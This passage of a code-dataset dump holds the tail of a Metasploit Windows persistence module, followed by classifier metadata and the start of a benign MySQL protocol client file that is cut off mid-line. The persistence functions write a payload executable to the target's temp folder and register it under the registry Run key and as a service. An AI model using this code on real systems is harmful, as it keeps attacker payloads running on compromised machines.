registry_setvaldata(\"#{key}\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\", nam, script_on_target, \"REG_SZ\")\n print_good(\"Installed into autorun as #{key}\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\#{nam}\")\n else\n print_error(\"Error: failed to open the registry key for writing\")\n end\n end\n\n # Function to install payload as a service\n #-------------------------------------------------------------------------------\n def install_as_service(script_on_target)\n if is_system? || is_admin?\n print_status(\"Installing as service..\")\n nam = Rex::Text.rand_text_alpha(rand(8) + 8)\n print_status(\"Creating service #{nam}\")\n service_create(nam, :path=>\"cmd /c \\\"#{script_on_target}\\\"\")\n @clean_up_rc << \"execute -H -f sc -a \\\"delete #{nam}\\\"\\n\"\n else\n print_error(\"Insufficient privileges to create service\")\n end\n end\n\n # Function for writing executable to target host\n #-------------------------------------------------------------------------------\n def write_exe_to_target(rexe, rexename)\n tempdir = session.fs.file.expand_path(\"%TEMP%\")\n temprexe = tempdir + \"\\\\\" + rexename\n fd = session.fs.file.new(temprexe, \"wb\")\n fd.write(rexe)\n fd.close\n\n print_good(\"Persistent Script written to #{temprexe}\")\n @clean_up_rc << \"rm #{temprexe}\\n\"\n temprexe\n end\n\n # Function to create executable from a file\n #-------------------------------------------------------------------------------\n def create_payload_from_file(exec)\n print_status(\"Reading Payload from file #{exec}\")\n ::IO.read(exec)\n end\nend\n", "text_preview": "## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core/post/common' require 'msf/core/post/file' require 'msf/core/post/windows/priv' requi", "input_sha256": "e94c0c9bba697e19eac153c156634ef811a406d3e274076edda04b7d2814cbdf", "text_sha256": "f23b5731ee74af6048f808928880bb5f9035a521d4b31bffd253b75512d74884", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16002, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 4, "pretraining_utility": 1, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 3, "creative_writing_quality": null}, "score_expectations": {"content_quality": 1.0015645513054925, "noise_severity": 0.13359921905128458, "missing_content_severity": 0.02524699832634611, "factual_density": 3.2733922856000186, "pretraining_utility": 0.3414279870440643, "math_density": 0.0326010789424764, "code_density": 3.8577938462076107, "reasoning_density": 0.4708209435444935, "education_level": 3.2237110337011248, "creative_writing_quality": -0.27431122300358773}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "3", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.020353242032433296, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9950633926678789, "secondary": 0.9201937033564063, "tertiary": 0.921078067510292, "structured_records": 0.11597469935355974, "procedural_steps": 0.12223600639906194, "worked_solution": 0.005015864125248118, "contextual_dialogue": 1.014461804041016e-05, "content_quality": 0.5479056497582715, "noise_severity": 0.8886673174572628, "missing_content_severity": 0.978960834728045, "factual_density": 0.39449357133334895, "pretraining_utility": 0.29663404054680687, "math_density": 0.972832434214603, "code_density": 0.8814948718396755, "reasoning_density": 0.6076492137129221, "education_level": 0.3944290629321434, "creative_writing_quality": 0.9987443651674022, "primary_topic": 0.9691648352191524, "secondary_topic": 0.7024469162440663}, "probability_margin": {"primary": 0.9934529176461567, "secondary": 0.8969524858115754, "tertiary": 0.8838572886546917, "education_level": 0.1293436417663429, "creative_writing_quality": 0.9985115439740887, "primary_topic": 0.9534314910606946, "secondary_topic": 0.5645547585192938}, "raw_probabilities": {"primary": {"Academic Writing": 5.1244491362873125e-05, "Content Listing": 3.154239081353668e-05, "Creative Writing": 2.4082408840723026e-05, "Customer Support Page": 2.016853062672582e-05, "Q&A Forum": 1.7300658016194423e-05, "Discussion Thread": 1.0215729549307497e-05, "Comment Section": 2.438224242232368e-05, "Missing Content": 3.236878712719128e-05, "Knowledge Article": 0.00017066232104746403, "Legal Notices": 5.242181080741438e-05, "News Article": 6.783637076473862e-06, "Organizational Announcement": 1.7961911729351727e-05, "Nonfiction Writing": 1.7839629014935865e-05, "Organizational About Page": 1.806551930647928e-05, "Personal About Page": 1.453666644768108e-05, "Personal Blog": 1.1384287319840215e-05, "Product Page": 1.1873174360008038e-05, "Spam / Ads": 1.9292678447889724e-05, "Structured Data": 0.0006573381468728387, "Technical Writing": 0.9952690846400506, "Transcript / Interview": 1.95166880399729e-05, "Tutorial / How-To Guide": 0.0016766902640293875, "User Reviews": 9.076392796705116e-06, "Other / Unknown": 0.0018161669938938775}, "secondary": {"Academic Writing": 0.0005008289795617908, "Content Listing": 0.0003084744032615492, "Creative Writing": 0.0004038460507653303, "Customer Support Page": 0.0003688427161958782, "Q&A Forum": 0.00020766367355184748, "Discussion Thread": 0.00016381530168574926, "Comment Section": 0.000717390706906718, "Missing Content": 0.0008076416516182589, "Knowledge Article": 0.004441885326713215, "Legal Notices": 0.0201559506769048, "News Article": 0.00026669083011020576, "Organizational Announcement": 0.0004364298037875146, "Nonfiction Writing": 0.00031995804153426243, "Organizational About Page": 0.00033028952987967957, "Personal About Page": 0.00025824057681034685, "Personal Blog": 0.00022298892244231887, "Product Page": 0.00018298225293925287, "Spam / Ads": 0.0006368385856809964, "Structured Data": 0.009381114178846683, "Technical Writing": 0.026566479904980577, "Transcript / Interview": 0.0003569241813874868, "Tutorial / How-To Guide": 0.009311865457507089, "User Reviews": 0.00013389253037240505, "NONE": 0.923518965716556}, "tertiary": {"Academic Writing": 0.000371933045684279, "Content Listing": 0.0002695302012426006, "Creative Writing": 0.00034955790686930585, "Customer Support Page": 0.00030063392345098356, "Q&A Forum": 0.00012994304394855333, "Discussion Thread": 0.00013938746505669472, "Comment Section": 0.0007019186793258017, "Missing Content": 0.0007090449149608362, "Knowledge Article": 0.004189064239017257, "Legal Notices": 0.040509192709338095, "News Article": 0.00020511680453255216, "Organizational Announcement": 0.00042961230424521106, "Nonfiction Writing": 0.00031634845996511487, "Organizational About Page": 0.0003386795744963489, "Personal About Page": 0.00022725806742721787, "Personal Blog": 0.00015939200270040585, "Product Page": 0.00019318104628624787, "Spam / Ads": 0.0017374443579515435, "Structured Data": 0.006851485972792546, "Technical Writing": 0.012773713290233427, "Transcript / Interview": 0.0002539941818950215, "Tutorial / How-To Guide": 0.004365627508964679, "User Reviews": 0.0001114589355855655, "NONE": 0.9243664813640298}, "structured_records": {"false": 0.8840253006464402, "true": 0.11597469935355974}, "procedural_steps": {"false": 0.877763993600938, "true": 0.12223600639906194}, "worked_solution": {"false": 0.9949841358747519, "true": 0.005015864125248118}, "contextual_dialogue": {"false": 0.9999898553819596, "true": 1.014461804041016e-05}, "content_quality": {"-2": 0.008254052816816035, "-1": 0.02021269450853657, "0": 0.20528678702476963, "1": 0.4942075798520945, "2": 0.2720388857977833}, "noise_severity": {"0": 0.8752429101704876, "1": 0.11890963565865464, "2": 0.0038244734062653266, "3": 0.0010512864782706293, "4": 0.0009716942863218494}, "missing_content_severity": {"0": 0.9819008690091636, "1": 0.012875407030081627, "2": 0.003732658743880845, "3": 0.0010579870589923343, "4": 0.0004330781578814469}, "factual_density": {"0": 0.005130877323458653, "1": 0.021757121757837224, "2": 0.12981045968234564, "3": 0.3811919204679437, "4": 0.46210962076841466}, "pretraining_utility": {"-2": 0.03734086542388411, "-1": 0.15214708565607626, "0": 0.3349888145660789, "1": 0.3827896651600127, "2": 0.09273356919394803}, "math_density": {"0": 0.972530223145762, "1": 0.024690469135830537, "2": 0.0013868952221175973, "3": 0.0004328306227489366, "4": 0.0009595818735409643}, "code_density": {"0": 0.00041233574294510924, "1": 0.0007010686720265957, "2": 0.01095186955111728, "3": 0.11654986570229471, "4": 0.8713848603316162}, "reasoning_density": {"0": 0.6953537209807248, "1": 0.18312854479426147, "2": 0.08757549539897513, "3": 0.02322754735187304, "4": 0.01071469147416566}, "education_level": {"none": 0.0009311447292938512, "0": 0.0010264946572301821, "1": 0.0027608028612972047, "2": 0.13391009463161593, "3": 0.4953575524434528, "4": 0.3660139106771099}, "creative_writing_quality": {"not_applicable": 0.9989536376395018, "-2": 0.00012008484125621677, "-1": 0.0002922517752962687, "0": 0.0004420936654131196, "1": 0.00013847163806989218, "2": 5.3460440462800523e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 0.0002617272296540626, "Art & Design": 8.463004241642318e-05, "Law & Crime": 0.016919312034644224, "Education & Careers": 7.308438130249704e-05, "Entertainment & Media": 7.861602314225278e-05, "Fashion & Beauty": 4.613026344015194e-05, "Business, Economics & Finance": 0.0001159420539062165, "Food & Dining": 4.732599057220738e-05, "Games & Gaming": 0.0001577691013674219, "Electronics & Hardware": 0.00031749299584268495, "Health, Healthcare & Wellness": 6.778760187558711e-05, "History & Geography": 8.373030760472896e-05, "Home, Pets & Hobbies": 7.016642360313967e-05, "Industry & Production": 6.321217481952273e-05, "Language, Literature & Philosophy": 7.73364714653695e-05, "Politics & Government": 5.328969464916691e-05, "Religion & Spirituality": 5.601217688545446e-05, "Science, Mathematics & Engineering": 0.000346612563041669, "Relationships & Community": 4.0206973384018354e-05, "Software Usage & Applications": 0.005327021176093185, "Programming & Software Engineering": 0.9703508030953388, "Sports & Fitness": 8.190743186621853e-05, "Vehicles & Transportation": 4.089768859874047e-05, "Travel & Tourism": 8.638271437042214e-05, "Other / Uncovered Subject": 0.005046548601123899, "Unknown / Insufficient Content": 0.00010605478899200218}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.001387985171022125, "Art & Design": 0.000653215291168095, "Law & Crime": 0.14933650710000074, "Education & Careers": 0.0005882240875986422, "Entertainment & Media": 0.0008155537374907569, "Fashion & Beauty": 0.00035723301945937583, "Business, Economics & Finance": 0.0007640495582887101, "Food & Dining": 0.00033795800172440503, "Games & Gaming": 0.0006144570629825555, "Electronics & Hardware": 0.0009258451099580176, "Health, Healthcare & Wellness": 0.0005298251914060792, "History & Geography": 0.0003957102504386585, "Home, Pets & Hobbies": 0.0004668105468439843, "Industry & Production": 0.0003646235966193972, "Language, Literature & Philosophy": 0.0003245227575953558, "Politics & Government": 0.00042099924017541425, "Religion & Spirituality": 0.0005121569535955097, "Science, Mathematics & Engineering": 0.0008042424308787133, "Relationships & Community": 0.00024005366369398126, "Software Usage & Applications": 0.05514711850006841, "Programming & Software Engineering": 0.06407924129467128, "Sports & Fitness": 0.0004215118611168562, "Vehicles & Transportation": 0.0002031931264698962, "Travel & Tourism": 0.0005865365780280243, "Other / Uncovered Subject": 0.00583116024941054, "NONE": 0.7138912656192945}}, "probabilities": {"primary": {"Academic Writing": 5.124449136287314e-05, "Content Listing": 3.154239081353669e-05, "Creative Writing": 2.4082408840723033e-05, "Customer Support Page": 2.0168530626725824e-05, "Q&A Forum": 1.7300658016194427e-05, "Discussion Thread": 1.0215729549307499e-05, "Comment Section": 2.4382242422323685e-05, "Missing Content": 3.2368787127191286e-05, "Knowledge Article": 0.00017066232104746406, "Legal Notices": 5.242181080741439e-05, "News Article": 6.783637076473864e-06, "Organizational Announcement": 1.796191172935173e-05, "Nonfiction Writing": 1.7839629014935868e-05, "Organizational About Page": 1.8065519306479282e-05, "Personal About Page": 1.4536666447681083e-05, "Personal Blog": 1.1384287319840217e-05, "Product Page": 1.1873174360008041e-05, "Spam / Ads": 1.9292678447889727e-05, "Structured Data": 0.0006573381468728388, "Technical Writing": 0.9952690846400508, "Transcript / Interview": 1.9516688039972904e-05, "Tutorial / How-To Guide": 0.001676690264029388, "User Reviews": 9.076392796705117e-06, "Other / Unknown": 0.001816166993893878}, "secondary": {"Academic Writing": 0.0005008289795617908, "Content Listing": 0.0003084744032615492, "Creative Writing": 0.0004038460507653303, "Customer Support Page": 0.0003688427161958782, "Q&A Forum": 0.00020766367355184748, "Discussion Thread": 0.00016381530168574926, "Comment Section": 0.000717390706906718, "Missing Content": 0.0008076416516182589, "Knowledge Article": 0.004441885326713215, "Legal Notices": 0.0201559506769048, "News Article": 0.00026669083011020576, "Organizational Announcement": 0.0004364298037875146, "Nonfiction Writing": 0.00031995804153426243, "Organizational About Page": 0.00033028952987967957, "Personal About Page": 0.00025824057681034685, "Personal Blog": 0.00022298892244231887, "Product Page": 0.00018298225293925287, "Spam / Ads": 0.0006368385856809964, "Structured Data": 0.009381114178846683, "Technical Writing": 0.026566479904980577, "Transcript / Interview": 0.0003569241813874868, "Tutorial / How-To Guide": 0.009311865457507089, "User Reviews": 0.00013389253037240505, "NONE": 0.923518965716556}, "tertiary": {"Academic Writing": 0.000371933045684279, "Content Listing": 0.0002695302012426006, "Creative Writing": 0.00034955790686930585, "Customer Support Page": 0.00030063392345098356, "Q&A Forum": 0.00012994304394855333, "Discussion Thread": 0.00013938746505669472, "Comment Section": 0.0007019186793258017, "Missing Content": 0.0007090449149608362, "Knowledge Article": 0.004189064239017257, "Legal Notices": 0.040509192709338095, "News Article": 0.00020511680453255216, "Organizational Announcement": 0.00042961230424521106, "Nonfiction Writing": 0.00031634845996511487, "Organizational About Page": 0.0003386795744963489, "Personal About Page": 0.00022725806742721787, "Personal Blog": 0.00015939200270040585, "Product Page": 0.00019318104628624787, "Spam / Ads": 0.0017374443579515435, "Structured Data": 0.006851485972792546, "Technical Writing": 0.012773713290233427, "Transcript / Interview": 0.0002539941818950215, "Tutorial / How-To Guide": 0.004365627508964679, "User Reviews": 0.0001114589355855655, "NONE": 0.9243664813640298}, "structured_records": {"false": 0.8840253006464402, "true": 0.11597469935355974}, "procedural_steps": {"false": 0.877763993600938, "true": 0.12223600639906194}, "worked_solution": {"false": 0.9949841358747519, "true": 0.005015864125248118}, "contextual_dialogue": {"false": 0.9999898553819596, "true": 1.014461804041016e-05}, "content_quality": {"-2": 0.008254052816816035, "-1": 0.02021269450853657, "0": 0.20528678702476963, "1": 0.4942075798520945, "2": 0.2720388857977833}, "noise_severity": {"0": 0.8752429101704876, "1": 0.11890963565865464, "2": 0.0038244734062653266, "3": 0.0010512864782706293, "4": 0.0009716942863218494}, "missing_content_severity": {"0": 0.9819008690091637, "1": 0.012875407030081628, "2": 0.0037326587438808456, "3": 0.0010579870589923345, "4": 0.00043307815788144695}, "factual_density": {"0": 0.005130877323458654, "1": 0.021757121757837228, "2": 0.12981045968234567, "3": 0.38119192046794376, "4": 0.4621096207684147}, "pretraining_utility": {"-2": 0.03734086542388411, "-1": 0.15214708565607626, "0": 0.3349888145660789, "1": 0.3827896651600127, "2": 0.09273356919394803}, "math_density": {"0": 0.972530223145762, "1": 0.024690469135830537, "2": 0.0013868952221175973, "3": 0.0004328306227489366, "4": 0.0009595818735409643}, "code_density": {"0": 0.0004123357429451093, "1": 0.0007010686720265958, "2": 0.010951869551117282, "3": 0.11654986570229472, "4": 0.8713848603316163}, "reasoning_density": {"0": 0.6953537209807248, "1": 0.18312854479426147, "2": 0.08757549539897513, "3": 0.02322754735187304, "4": 0.01071469147416566}, "education_level": {"none": 0.0009311447292938513, "0": 0.0010264946572301824, "1": 0.002760802861297205, "2": 0.13391009463161596, "3": 0.49535755244345286, "4": 0.36601391067711}, "creative_writing_quality": {"not_applicable": 0.9989536376395016, "-2": 0.00012008484125621674, "-1": 0.00029225177529626864, "0": 0.00044209366541311947, "1": 0.00013847163806989215, "2": 5.346044046280051e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 0.0002617272296540626, "Art & Design": 8.463004241642318e-05, "Law & Crime": 0.016919312034644224, "Education & Careers": 7.308438130249704e-05, "Entertainment & Media": 7.861602314225278e-05, "Fashion & Beauty": 4.613026344015194e-05, "Business, Economics & Finance": 0.0001159420539062165, "Food & Dining": 4.732599057220738e-05, "Games & Gaming": 0.0001577691013674219, "Electronics & Hardware": 0.00031749299584268495, "Health, Healthcare & Wellness": 6.778760187558711e-05, "History & Geography": 8.373030760472896e-05, "Home, Pets & Hobbies": 7.016642360313967e-05, "Industry & Production": 6.321217481952273e-05, "Language, Literature & Philosophy": 7.73364714653695e-05, "Politics & Government": 5.328969464916691e-05, "Religion & Spirituality": 5.601217688545446e-05, "Science, Mathematics & Engineering": 0.000346612563041669, "Relationships & Community": 4.0206973384018354e-05, "Software Usage & Applications": 0.005327021176093185, "Programming & Software Engineering": 0.9703508030953388, "Sports & Fitness": 8.190743186621853e-05, "Vehicles & Transportation": 4.089768859874047e-05, "Travel & Tourism": 8.638271437042214e-05, "Other / Uncovered Subject": 0.005046548601123899, "Unknown / Insufficient Content": 0.00010605478899200218}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.001387985171022125, "Art & Design": 0.000653215291168095, "Law & Crime": 0.14933650710000074, "Education & Careers": 0.0005882240875986422, "Entertainment & Media": 0.0008155537374907569, "Fashion & Beauty": 0.00035723301945937583, "Business, Economics & Finance": 0.0007640495582887101, "Food & Dining": 0.00033795800172440503, "Games & Gaming": 0.0006144570629825555, "Electronics & Hardware": 0.0009258451099580176, "Health, Healthcare & Wellness": 0.0005298251914060792, "History & Geography": 0.0003957102504386585, "Home, Pets & Hobbies": 0.0004668105468439843, "Industry & Production": 0.0003646235966193972, "Language, Literature & Philosophy": 0.0003245227575953558, "Politics & Government": 0.00042099924017541425, "Religion & Spirituality": 0.0005121569535955097, "Science, Mathematics & Engineering": 0.0008042424308787133, "Relationships & Community": 0.00024005366369398126, "Software Usage & Applications": 0.05514711850006841, "Programming & Software Engineering": 0.06407924129467128, "Sports & Fitness": 0.0004215118611168562, "Vehicles & Transportation": 0.0002031931264698962, "Travel & Tourism": 0.0005865365780280243, "Other / Uncovered Subject": 0.00583116024941054, "NONE": 0.7138912656192945}}, "probability_diagnostics": {"primary": {"raw_sum": 0.9999999999999998, "mass_delta": -2.220446049250313e-16, "missing_mass": 2.220446049250313e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "code_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 10037, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 10037, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:29:07.454249+00:00", "scoring_key_slot": "assistant_1", "dataset_uid": "cde82f2c-60c8-4239-b302-6c25b0634438", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "a28acc6239f93c2db2df0e41c83155a793ef4f50909ccce3e895e3ec2f405807", "source_metadata": {"uuid": "cde82f2c-60c8-4239-b302-6c25b0634438", "repo_name": "porthunter/gosploit", "relative_path": "modules/post/windows/manage/persistence_exe.rb", "category": "TOOL", "algo_rel_score": 0.6891505718231201, "quality_score": 6.020802974700928, "source_meta": {"github_metadata": {"branch": "master", "commit_count": 70, "repo_created_at": "2018-02-11T11:42:18.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 29, "forks": 7, "issues": 1, "pull_requests": 0}, "file_meta": {"content_id": "cae5a859cfe513fb04b81cee46cbe46687943663", "size_bytes": 6533, "file_timestamp": 1520009063, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "3b1370488af9de826f0be4d7df92029c30434fd6"}}, "parsed_source_meta": {"github_metadata": {"branch": "master", "commit_count": 70, "repo_created_at": "2018-02-11T11:42:18.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 29, "forks": 7, "issues": 1, "pull_requests": 0}, "file_meta": {"content_id": "cae5a859cfe513fb04b81cee46cbe46687943663", "size_bytes": 6533, "file_timestamp": 1520009063, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "3b1370488af9de826f0be4d7df92029c30434fd6", "url": "https://github.com/porthunter/gosploit/blob/3b1370488af9de826f0be4d7df92029c30434fd6/modules/post/windows/manage/persistence_exe.rb"}, "gpt4o_tokens": 1451, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 1.0015645513054925, "noise_severity": 0.13359921905128458, "missing_content_severity": 0.02524699832634611, "factual_density": 3.2733922856000186, "pretraining_utility": 0.3414279870440643, "math_density": 0.0326010789424764, "code_density": 3.8577938462076107, "reasoning_density": 0.4708209435444935, "education_level": 3.2237110337011248, "creative_writing_quality": -0.27431122300358773}, "score_applicability": {"education_level": 0.9990688552707062, "creative_writing_quality": 0.0010463623604982976}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/rapid7/metasploit-framework/blob/b6a04c2b9772f89dc9184ddf04ce3fd5bea24d1b/lib/rbmysql/protocol.rb", "id": "ruby-0-1edbac37e9b1fbd3573e7373548175d4", "text": "# coding: ascii-8bit\n# Copyright (C) 2008-2012 \n# mailto:\n\nrequire \"socket\"\nrequire \"timeout\"\nrequire \"digest/sha1\"\nrequire \"stringio\"\n\nclass RbMysql\n # MySQL network protocol\n class Protocol\n\n VERSION = 10\n MAX_PACKET_LENGTH = 2**24-1\n\n # Convert netdata to Ruby value\n # === Argument\n # data :: [Packet] packet data\n # type :: [Integer] field type\n # unsigned :: [true or false] true if value is unsigned\n # === Return\n # Object :: converted value.\n def self.net2value(pkt, type, unsigned)\n case type\n when Field::TYPE_STRING, Field::TYPE_VAR_STRING, Field::TYPE_NEWDECIMAL, Field::TYPE_BLOB, Field::TYPE_JSON\n return pkt.lcs\n when Field::TYPE_TINY\n v = pkt.utiny\n return unsigned ? v : v < 128 ? v : v-256\n when Field::TYPE_SHORT\n v = pkt.ushort\n return unsigned ? v : v < 32768 ? v : v-65536\n when Field::TYPE_INT24, Field::TYPE_LONG\n v = pkt.ulong\n return unsigned ? v : v < 0x8000_0000 ? v : v-0x10000_0000\n when Field::TYPE_LONGLONG\n n1, n2 = pkt.ulong, pkt.ulong\n v = (n2 << 32) | n1\n return unsigned ? v : v < 0x8000_0000_0000_0000 ? v : v-0x10000_0000_0000_0000\n when Field::TYPE_FLOAT\n return pkt.read(4).unpack('e').first\n when Field::TYPE_DOUBLE\n return pkt.read(8).unpack('E').first\n when Field::TYPE_DATE\n len = pkt.utiny\n y, m, d = pkt.read(len).unpack(\"vCC\")\n t = RbMysql::Time.new(y, m, d, nil, nil, nil)\n return t\n when Field::TYPE_DATETIME, Field::TYPE_TIMESTAMP\n len = pkt.utiny\n y, m, d, h, mi, s, sp = pkt.read(len).unpack(\"vCCCCCV\")\n return RbMysql::Time.new(y, m, d, h, mi, s, false, sp)\n when Field::TYPE_TIME\n len = pkt.utiny\n sign, d, h, mi, s, sp = pkt.read(len).unpack(\"CVCCCV\")\n h = d.to_i * 24 + h.to_i\n return RbMysql::Time.new(0, 0, 0, h, mi, s, sign!=0, sp)\n when Field::TYPE_YEAR\n return pkt.ushort\n when Field::TYPE_BIT\n return pkt.lcs\n else\n raise \"not implemented: type=#{type}\"\n end\n end\n\n # convert Ruby value to netdata\n # === Argument\n # v :: [Object] Ruby value.\n # === Return\n # Integer :: type of column. Field::TYPE_*\n # String :: netdata\n # === Exception\n # ProtocolError :: value too large / value is not supported\n def self.value2net(v)\n case v\n when nil\n type = Field::TYPE_NULL\n val = \"\"\n when Integer\n if -0x8000_0000 <= v && v < 0x8000_0000\n type = Field::TYPE_LONG\n val = [v].pack('V')\n elsif -0x8000_0000_0000_0000 <= v && v < 0x8000_0000_0000_0000\n type = Field::TYPE_LONGLONG\n val = [v&0xffffffff, v>>32].pack(\"VV\")\n elsif 0x8000_0000_0000_0000 <= v && v <= 0xffff_ffff_ffff_ffff\n type = Field::TYPE_LONGLONG | 0x8000\n val = [v&0xffffffff, v>>32].pack(\"VV\")\n else\n raise ProtocolError, \"value too large: #{v}\"\n end\n when Float\n type = Field::TYPE_DOUBLE\n val = [v].pack(\"E\")\n when String\n type = Field::TYPE_STRING\n val = Packet.lcs(v)\n when ::Time\n type = Field::TYPE_DATETIME\n val = [11, v.year, v.month, v.day, v.hour, v.min, v.sec, v.usec].pack(\"CvCCCCCV\")\n when RbMysql::Time\n type = Field::TYPE_DATETIME\n val = [11, v.year, v.month, v.day, v.hour, v.min, v.sec, v.second_part].pack(\"CvCCCCCV\")\n else\n raise ProtocolError, \"class #{v.class} is not supported\"\n end\n return type, val\n end\n\n attr_reader :server_info\n attr_reader :server_version\n attr_reader :thread_id\n attr_reader :sqlstate\n attr_reader :affected_rows\n attr_reader :insert_id\n attr_reader :server_status\n attr_reader :warning_count\n attr_reader :message\n attr_accessor :charset\n\n # @state variable keep state for connection.\n # :INIT :: Initial state.\n # :READY :: Ready for command.\n # :FIELD :: After query(). retr_fields() is needed.\n # :RESULT :: After retr_fields(), retr_all_records() or stmt_retr_all_records() is needed.\n\n # make socket connection to server.\n # === Argument\n # host :: [String] if \"localhost\" or \"\" nil then use UNIXSocket. Otherwise use TCPSocket\n # port :: [Integer] port number using by TCPSocket\n # socket :: [String,Socket] socket file name using by UNIXSocket, or an existing ::Socket instance\n # conn_timeout :: [Integer] connect timeout (sec).\n # read_timeout :: [Integer] read timeout (sec).\n # write_timeout :: [Integer] write timeout (sec).\n # === Exception\n # [ClientError] :: connection timeout\n def initialize(host, port, socket, conn_timeout, read_timeout, write_timeout)\n @insert_id = 0\n @warning_count = 0\n @gc_stmt_queue = [] # stmt id list which GC destroy.\n set_state :INIT\n @read_timeout = read_timeout\n @write_timeout = write_timeout\n begin\n Timeout.timeout conn_timeout do\n if host.nil? or host.empty? or host == \"localhost\"\n socket ||= ENV[\"MYSQL_UNIX_PORT\"] || MYSQL_UNIX_PORT\n @sock = UNIXSocket.new socket\n else\n if !socket\n port ||= ENV[\"MYSQL_TCP_PORT\"] || (Socket.getservbyname(\"mysql\",\"tcp\") rescue MYSQL_TCP_PORT)\n @sock = TCPSocket.new host, port\n else\n @sock = socket\n end\n end\n end\n rescue Timeout::Error\n raise ClientError, \"connection timeout\"\n end\n end\n\n def close\n @sock.close\n end\n\n # initial negotiate and authenticate.\n # === Argument\n # user :: [String / nil] username\n # passwd :: [String / nil] password\n # db :: [String / nil] default database name. nil: no default.\n # flag :: [Integer] client flag\n # charset :: [RbMysql::Charset / nil] charset for connection. nil: use server's charset\n # === Exception\n # ProtocolError :: The old style password is not supported\n def authenticate(user, passwd, db, flag, charset)\n check_state :INIT\n @authinfo = [user, passwd, db, flag, charset]\n reset\n init_packet = InitialPacket.parse read\n @server_info = init_packet.server_version\n @server_version = init_packet.server_version.split(/\\D/)[0,3].inject{|a,b|a.to_i*100+b.to_i}\n @thread_id = 